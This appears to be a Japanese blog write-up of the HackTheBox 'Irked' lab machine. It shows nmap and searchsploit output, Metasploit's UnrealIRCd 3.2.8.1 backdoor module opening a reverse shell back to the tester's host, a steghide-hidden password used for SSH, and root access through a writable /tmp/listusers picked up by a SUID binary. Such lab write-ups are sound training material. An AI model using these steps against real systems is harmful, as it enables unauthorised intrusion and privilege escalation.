HackTheBox Irked
Irked
侵入
nmap
┌──(kali㉿kali)-[~/Desktop/Irked]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.10.117 -oN nmap.log
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
| 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
| 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_ 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.10 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind syn-ack ttl 63 2-4 (RPC #100000)
6697/tcp open irc syn-ack ttl 63 UnrealIRCd
8067/tcp open irc syn-ack ttl 63 UnrealIRCd
35312/tcp open status syn-ack ttl 63 1 (RPC #100024)
65534/tcp open irc syn-ack ttl 63 UnrealIRCd
22、80番に加えて、いくつかのポートを確認
web
IRC is almost working という文字が出力されている
IRC
UnrealIRC が使用されていたので、searchsploit を実行してみる
┌──(kali㉿kali)-[~/Desktop/Irked]
└─$ searchsploit UnrealIRCd
---------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------- ---------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit) | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute | linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service | windows/dos/27407.pl
---------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
v3.2.8.1 に脆弱性を発見
脆弱性を調べるために、hexchat を実行し、接続を試みる
┌──(kali㉿kali)-[~/Desktop/Irked]
└─$ sudo hexchat
root として実行するため、sudo を使用する
すると、root で実行するべきではない的なメッセージが出力されるが、今回は無視
まず、+ Add をクリックし、名前を「Irked」とする
次に、Edit... をクリックし、IP アドレスを入力していく
一番上に、10.10.10.117/6697 と入力し、この画面は閉じる
そして、再度この画面で、Connect をクリックし、接続を開始する
接続が成功すると、上記のような表示が確認される。このまま、OK を押す
すると、詳細情報が確認され、version が 3.2.8.1 であることがわかった
バージョンが有効であることが確認できたため、exploit に移っていく
┌──(kali㉿kali)-[~/Desktop/Irked]
└─$ msfconsole
まずは、いつものように msfconsole を実行
msf6 > search UnrealIRCd
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent No UnrealIRCD 3.2.8.1 Backdoor Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6 > use 0
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >
UnrealIRC で search を行い、use で exploit をセットしていく
show options で詳細を確認していく
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 6667 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic Target
RHOSTS を設定する必要があり、RPORT を変更する必要がある
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 10.10.10.117
RHOSTS => 10.10.10.117
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RPORT 6697
RPORT => 6697
10.10.10.117 と 6697 をセット
ここまでで、設定が完了したので実行に移る
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run
[-] 10.10.10.117:6697 - Exploit failed: A payload has not been selected.
[*] Exploit completed, but no session was created.
実行すると、payload が選択されていないというエラーが出てきた
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
No Unix Command Shell, Bind TCP (via Ruby)
3 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
4 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
5 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
6 payload/cmd/unix/reverse_bash_telnet_ssl normal
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload 5
payload => cmd/unix/reverse
show payloads で payload を確認する。今回は、reverse を使用する
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.10.10.117 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 6697 yes The target port (TCP)
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
payload により、LHOST を指定する必要でてきたので、指定する
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 10.10.14.4
LHOST => 10.10.14.4
今度こそ、準備は完璧
ircd としてのシェル
run
情報は完璧に設定できたので、run で実行する
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run
[*] Started reverse TCP double handler on 10.10.14.4:4444
[*] 10.10.10.117:6697 - Connected to 10.10.10.117:6697...
:irked.htb NOTICE AUTH :*** Looking up your hostname...
[*] 10.10.10.117:6697 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 8xdambRYl2pqirSk;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "8xdambRYl2pqirSk\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.14.4:4444 -> 10.10.10.117:47054) at 2022-11-30 00:40:01 +0900
whoami
ircd
侵入成功
列挙
home
ircd@irked:/home$ ls -l
ls -l
total 8
drwxr-xr-x 18 djmardov djmardov 4096 Sep 5 08:41 djmardov
drwxr-xr-x 3 ircd root 4096 Sep 5 08:41 ircd
home ディレクトリには、djmardov ユーザが存在し、ircd ディレクトリには user.txt がない
ircd@irked:/home/djmardov$ ls -l
ls -l
total 36
drwxr-xr-x 2 djmardov djmardov 4096 Sep 5 08:41 Desktop
drwxr-xr-x 2 djmardov djmardov 4096 Sep 5 08:41 Documents
drwxr-xr-x 2 djmardov djmardov 4096 Sep 5 08:41 Downloads
drwxr-xr-x 2 djmardov djmardov 4096 Sep 5 08:41 Music
drwxr-xr-x 2 djmardov djmardov 4096 Sep 5 08:41 Pictures
drwxr-xr-x 2 djmardov djmardov 4096 Sep 5 08:41 Public
drwxr-xr-x 2 djmardov djmardov 4096 Sep 5 08:41 Templates
-rw-r----- 1 root djmardov 33 Nov 29 09:21 user.txt
drwxr-xr-x 2 djmardov djmardov 4096 Sep 5 08:41 Videos
djmardov ディレクトリに user.txt があり、ircd では見れないため、権限を移動する必要がある
Steg
Documents ディレクトリで、隠しファイルを発見
ircd@irked:/home/djmardov/Documents$ cat .backup
cat .backup
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss
pw であることはわかったが、steg が何を指しているのかわからない
google で 「linux steg」と調べると、steganography が出てきた
┌──(kali㉿kali)-[~/Desktop/Irked]
└─$ wget http://10.10.10.117/irked.jpg
--2022-11-30 01:09:22-- http://10.10.10.117/irked.jpg
Connecting to 10.10.10.117:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 34697 (34K) [image/jpeg]
Saving to: ‘irked.jpg’
irked.jpg 100%[=======================================================>] 33.88K 4.08KB/s in 35s
2022-11-30 01:10:02 (982 B/s) - ‘irked.jpg’ saved [34697/34697]
今回のボックスで確認できた画像は、初めての絵文字みたいなやつなので、ダウンロードする
┌──(kali㉿kali)-[~/Desktop/Irked]
└─$ steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss
wrote extracted data to "pass.txt".
steghide を使用し、データの抽出を試すと、pass.txt に data が抽出された
┌──(kali㉿kali)-[~/Desktop/Irked]
└─$ cat pass.txt
Kab6h+m+bbp2J:HG
内容を見てみると、password が確認できた。
djmardov としてのシェル
SSH
取得した認証情報が SSH で使用できるか試してみる
┌──(kali㉿kali)-[~/Desktop/Irked]
└─$ ssh djmardov@10.10.10.117
The authenticity of host '10.10.10.117 (10.10.10.117)' can't be established.
ECDSA key fingerprint is SHA256:kunqU6QEf9TV3pbsZKznVcntLklRwiVobFZiJguYs4g.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.117' (ECDSA) to the list of known hosts.
djmardov@10.10.10.117's password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 15 08:56:32 2018 from 10.33.3.3
djmardov@irked:~$ whoami
djmardov
権限移動成功
user フラグ
djmardov@irked:~$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
権限昇格
find
sudo は使えなかったので、find を実行し、suid があるファイルを検索する
djmardov@irked:~$ find / -type f -user root -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/bin/X
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/viewuser
/sbin/mount.nfs
/bin/su
/bin/mount
/bin/fusermount
/bin/ntfs-3g
/bin/umount
viewuser を発見。いままでのボックスであまりみたことがないので、調べてみる
すると、権限昇格の手がかりとなる情報を発見
djmardov@irked:~$ echo sh > /tmp/listusers
djmardov@irked:~$ chmod 777 /tmp/listusers
記事によると、/tmp/listusers に実行したいコマンドを記述し、実行権限を付与するだけで権限昇格が狙えるらしい
root としてのシェル
viewuser
最後に、viewuser を実行する
djmardov@irked:~$ viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0 2022-11-30 08:40 (:0)
djmardov pts/0 2022-11-30 09:27 (10.10.14.6)
# whoami
root
権限昇格成功
root フラグ
# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
攻略完了
所感
今回のボックスは、わかりやすい脆弱性が存在していたので比較的簡単だったが、viewuser での権限昇格は盲点すぎた。一度、実行結果をスルーし他を調べたので時間も結構かかってしまった。勝手に重要ではないと決めつけるのではなく、細かな情報にも目を向けることが大切だと改めて実感した。
Discussion